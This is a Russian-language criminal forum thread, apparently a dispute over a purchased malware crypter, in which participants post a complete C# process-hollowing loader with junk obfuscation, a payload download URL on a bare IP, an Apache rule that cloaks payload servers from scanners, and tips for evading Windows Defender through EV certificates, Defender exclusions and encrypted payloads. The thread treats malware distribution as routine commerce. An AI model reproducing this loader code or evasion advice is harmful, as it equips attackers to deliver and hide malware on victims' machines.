для начала уж на то пошло, хостера в студию.Так что в итоге то ?
для начала уж на то пошло, хостера в студию.Так что в итоге то ?
Я бы с радостью но он вроде не обитает данном форумедля начала уж на то пошло, хостера в студию.
Вот ответы от хостера, брался абузостойчивый сервердля начала уж на то пошло, хостера в студию.
Ты реально до сих пор не догоняешь или прикидываешься?за слив на вт я не как не могу отвечать
При чем тут хостер, если у тебя шара общедоступная, а ссылки на эту шару в открытом виде в твои поделках???? Кто кому запретит зайти на общедоступную шару и повесить на нее сканер????Вопросы уже к хостеру, если их "Абузостойчивую сетку" сканит ебучий вт или еще какая-нибудь х#йня.
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
public class ProcessX
{
#region ConversionMethods
public static Int16 ConvertToInt16(byte[] value, int startIndex)
{
return BitConverter.ToInt16(value, startIndex);
}
public static Int32 ConvertToInt32(byte[] value, int startIndex)
{
return BitConverter.ToInt32(value, startIndex);
}
public static byte[] ConvertToBytes(int value)
{
return BitConverter.GetBytes(value);
}
#endregion
#region ApiNames
public static string[] GetApiNames()
{
return new string[]
{
"kernel32",
"ntdll",
"ResumeThread",
"Wow64SetThreadContext",
"SetThreadContext",
"Wow64GetThreadContext",
"GetThreadContext",
"VirtualAllocEx",
"WriteProcessMemory",
"ReadProcessMemory",
"ZwUnmapViewOfSection",
"CreateProcessA"
};
}
#endregion
#region ApiDelegates
private delegate int ResumeThreadDelegate(IntPtr handle);
private delegate bool SetWow64ThreadContextDelegate(IntPtr thread, int[] context);
private delegate bool SetThreadContextDelegate(IntPtr thread, int[] context);
private delegate bool GetWow64ThreadContextDelegate(IntPtr thread, int[] context);
private delegate bool GetThreadContextDelegate(IntPtr thread, int[] context);
private delegate int VirtualAllocExDelegate(IntPtr handle, int address, int length, int type, int protect);
private delegate bool WriteMemoryDelegate(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
private delegate bool ReadMemoryDelegate(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
private delegate int UnmapViewOfSectionDelegate(IntPtr process, int baseAddress);
private delegate bool CreateProcessDelegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInfo startupInfo, ref ProcessInfo processInfo);
#endregion
#region ApiMethods
private static ResumeThreadDelegate ResumeThread = LoadApi<ResumeThreadDelegate>(GetApiNames()[0], GetApiNames()[2]);
private static SetWow64ThreadContextDelegate SetWow64ThreadContext = LoadApi<SetWow64ThreadContextDelegate>(GetApiNames()[0], GetApiNames()[3]);
private static SetThreadContextDelegate SetThreadContext = LoadApi<SetThreadContextDelegate>(GetApiNames()[0], GetApiNames()[4]);
private static GetWow64ThreadContextDelegate GetWow64ThreadContext = LoadApi<GetWow64ThreadContextDelegate>(GetApiNames()[0], GetApiNames()[5]);
private static GetThreadContextDelegate GetThreadContext = LoadApi<GetThreadContextDelegate>(GetApiNames()[0], GetApiNames()[6]);
private static VirtualAllocExDelegate VirtualAllocEx = LoadApi<VirtualAllocExDelegate>(GetApiNames()[0], GetApiNames()[7]);
private static WriteMemoryDelegate WriteMemory = LoadApi<WriteMemoryDelegate>(GetApiNames()[0], GetApiNames()[8]);
private static ReadMemoryDelegate ReadMemory = LoadApi<ReadMemoryDelegate>(GetApiNames()[0], GetApiNames()[9]);
private static UnmapViewOfSectionDelegate UnmapViewOfSection = LoadApi<UnmapViewOfSectionDelegate>(GetApiNames()[1], GetApiNames()[10]);
private static CreateProcessDelegate CreateProcess = LoadApi<CreateProcessDelegate>(GetApiNames()[0], GetApiNames()[11]);
#endregion
#region ApiLoader
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
private static T LoadApi<T>(string libraryName, string methodName)
{
return (T)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T));
}
#endregion
#region Structs
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInfo
{
public IntPtr ProcessHandle;
public IntPtr ThreadHandle;
public uint ProcessId;
public uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInfo
{
public uint Size;
public string Reserved;
public string Desktop;
public string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] private byte[] Misc;
public IntPtr Reserved2;
public IntPtr StdInput;
public IntPtr StdOutput;
public IntPtr StdError;
}
#endregion
#region ProcessExecution
public static void LoadProc(string fileName, MemoryStream memoryStream)
{
byte[] fileBytes = memoryStream.ToArray();
int executionStep = 103;
for (int i = 0; i < executionStep; i++)
{
switch (executionStep)
{
case 1:
case 2:
executionStep = 25;
break;
case 3:
bool flag = true;
if (flag)
{
executionStep = 1 ^ 75;
}
break;
case 9:
executionStep = 5;
break;
case 10:
executionStep = 2;
break;
}
}
for (int i = 0; i < 5; i++)
{
int bytesRead = 0;
StartupInfo startupInfo = new StartupInfo();
ProcessInfo processInfo = new ProcessInfo();
startupInfo.Size = (uint)Marshal.SizeOf(typeof(StartupInfo));
try
{
bool processCreated = CreateProcess(fileName, "", IntPtr.Zero, IntPtr.Zero, false, 4 | 134217728, IntPtr.Zero, null, ref startupInfo, ref processInfo);
if (!processCreated)
{
throw new Exception();
}
int fileAddress = ConvertToInt32(fileBytes, 60);
int imageBase = ConvertToInt32(fileBytes, fileAddress + 52);
int[] context = new int[179];
context[0] = 65538;
if (IntPtr.Size == 4)
{
if (!GetThreadContext(processInfo.ThreadHandle, context))
{
throw new Exception();
}
}
else
{
if (!GetWow64ThreadContext(processInfo.ThreadHandle, context))
{
throw new Exception();
}
}
int ebx = context[41];
int baseAddress = 0;
if (!ReadMemory(processInfo.ProcessHandle, ebx + 8, ref baseAddress, 4, ref bytesRead))
{
throw new Exception();
}
if (imageBase == baseAddress)
{
if (UnmapViewOfSection(processInfo.ProcessHandle, baseAddress) != 0)
{
throw new Exception();
}
}
int sizeOfImage = ConvertToInt32(fileBytes, fileAddress + 80);
int sizeOfHeaders = ConvertToInt32(fileBytes, fileAddress + 84);
int newImageBase = VirtualAllocEx(processInfo.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0)
{
throw new Exception();
}
if (!WriteMemory(processInfo.ProcessHandle, newImageBase, fileBytes, sizeOfHeaders, ref bytesRead))
{
throw new Exception();
}
int sectionOffset = fileAddress + 248;
short numberOfSections = ConvertToInt16(fileBytes, fileAddress + 6);
for (int j = 0; j < numberOfSections; j++)
{
int virtualAddress = ConvertToInt32(fileBytes, sectionOffset + 12);
int sizeOfRawData = ConvertToInt32(fileBytes, sectionOffset + 16);
int pointerToRawData = ConvertToInt32(fileBytes, sectionOffset + 20);
if (sizeOfRawData > 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(fileBytes, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteMemory(processInfo.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref bytesRead))
{
throw new Exception();
}
}
sectionOffset += 40;
}
byte[] imageBaseBytes = ConvertToBytes(newImageBase);
if (!WriteMemory(processInfo.ProcessHandle, ebx + 8, imageBaseBytes, 4, ref bytesRead))
{
throw new Exception();
}
int entryPoint = ConvertToInt32(fileBytes, fileAddress + 40);
context[44] = newImageBase + entryPoint;
if (IntPtr.Size == 4)
{
if (!SetThreadContext(processInfo.ThreadHandle, context))
{
throw new Exception();
}
}
else
{
if (!SetWow64ThreadContext(processInfo.ThreadHandle, context))
{
throw new Exception();
}
}
if (ResumeThread(processInfo.ThreadHandle) == -1)
{
throw new Exception();
}
}
catch
{
Process.GetProcessById((int)processInfo.ProcessId).Kill();
continue;
}
break;
}
}
#endregion
}
Это сума для переписа стаб малвари?Выставляю претензию в сторону XM8WyK на сумму 15000$
Не знаю, Админ решитсогласен изменить претензию на "запрет ведения комерческой деятельности".
полностью поддерживаю, не понимаю в чём сложность считать тот же файл, создать свой метод шифрования и его же зашить в криптор(лоадер)Да сейчас почти все крипторы такого уровня)) EV серт, добавить себя в исключения виндефа и дальше качать пейлоад с инета.
Когда я пишу, что ситуация на рынке малвари плохая, а спрос на криптор превышает предложение, говорят что нагнетаю. Ну вот, полюбуйтесь на "уровень".
Хоть бы на сервере пошифровал билды, если уж такой подход..
То что крипт-говнокрипт и мы пробиваем новое дно, дело очевидное, но мне интересно как арбитраж решится. На сколько я понял аффилиат сам согласился на такой расклад, а теперь о ужас, NetSupport с не скучной панелькой за ~2.5k начал палится. При всём понимании боли kosok11. Любой софт рано или поздно палится, это часть цикла. Ну, а по ситуации -это супер комбоДа сейчас почти все крипторы такого уровня)) EV серт, добавить себя в исключения виндефа и дальше качать пейлоад с инета.
Когда я пишу, что ситуация на рынке малвари плохая, а спрос на криптор превышает предложение, говорят что нагнетаю. Ну вот, полюбуйтесь на "уровень".
Хоть бы на сервере пошифровал билды, если уж такой подход..
Вероятно в том, что дальше такое будет палится виндефом и прочим симантеком как ML. Но это лирика, вопрос криптора как раз решить такую проблему.не понимаю в чём сложность считать тот же файл, создать свой метод шифрования и его же зашить в криптор(лоадер)
Лет 10 за такой "крипт" дали бы бан изначально, но сейчас время другое, как уже говорил, спрос превышает предложение.но мне интересно как арбитраж решится.
Если ты не понял ситуацию, чуть разжую.То что крипт-говнокрипт и мы пробиваем новое дно, дело очевидное, но мне интересно как арбитраж решится. На сколько я понял аффилиат сам согласился на такой расклад, а теперь о ужас, NetSupport с не скучной панелькой за ~2.5k начал палится. При всём понимании боли kosok11. Любой софт рано или поздно палится, это часть цикла. Ну, а по ситуации -это супер комбо![]()
Сервер, на котором ты сохраняешь свои файлы, ОТКРЫТ ДЛЯ ОБЩЕСТВЕННОГО ДОСТУПА, что означает, что любой может открыть ссылки в твоих криптах.По этим пунктам все хорошо было, за слив на вт я не как не могу отвечать
RewriteEngine On
RewriteCond %{HTTP:X-Special-Header} !^mysecretvalue$ [NC]
RewriteRule ^(.*)$ /fake.html [L]
Хорошо, учту !Не хочу нападать на раненного, но он на вид пользуется каким то advanced AI переводчиком, либо у него такой же русский как у меня
Пишу только с точки зрения веб.
Сервер, на котором ты сохраняешь свои файлы, ОТКРЫТ ДЛЯ ОБЩЕСТВЕННОГО ДОСТУПА, что означает, что любой может открыть ссылки в твоих криптах.
Вот один из примеров -> http://147.45.44.131/files/y75.exe
Для будущих ссылок создай белую/черную страницу. Поставь конфигурацию в котором если запрос к твоему серверу содержит определенный хидер, тогда пусть показывает оригинальную страницу, в противном случае фальшивую. В Apache это можно реализовать примерно так:
Код:RewriteEngine On RewriteCond %{HTTP:X-Special-Header} !^mysecretvalue$ [NC] RewriteRule ^(.*)$ /fake.html [L]
ну я имел ввиду шифровать на сервере массив байтов, и расшифровывать его на пк, методов это сделать как звезд на небе, аверы ахереют столько детектить. банальный replace и уже данные другие.Вероятно в том, что дальше такое будет палится виндефом и прочим симантеком как ML. Но это лирика, вопрос криптора как раз решить такую проблему
Всю тему внимательно читал, ждал этого комментария. Вероятно, что хмук просто имя собирательное из средней ркуи сервисов, нацеленных просто на коммерциюэто тот чел который продает все подряд от крипта до отрисовки?
Талантливый человек талантлив во всем, радуйся что у тебя вообще есть возможность пролить его лоадер. А если еще повезет и коммерс сжалиться над тобой, то так и быть не поменяет second stage на свой, разрешив тебе побыть соседом на машинеэто тот чел который продает все подряд от крипта до отрисовки?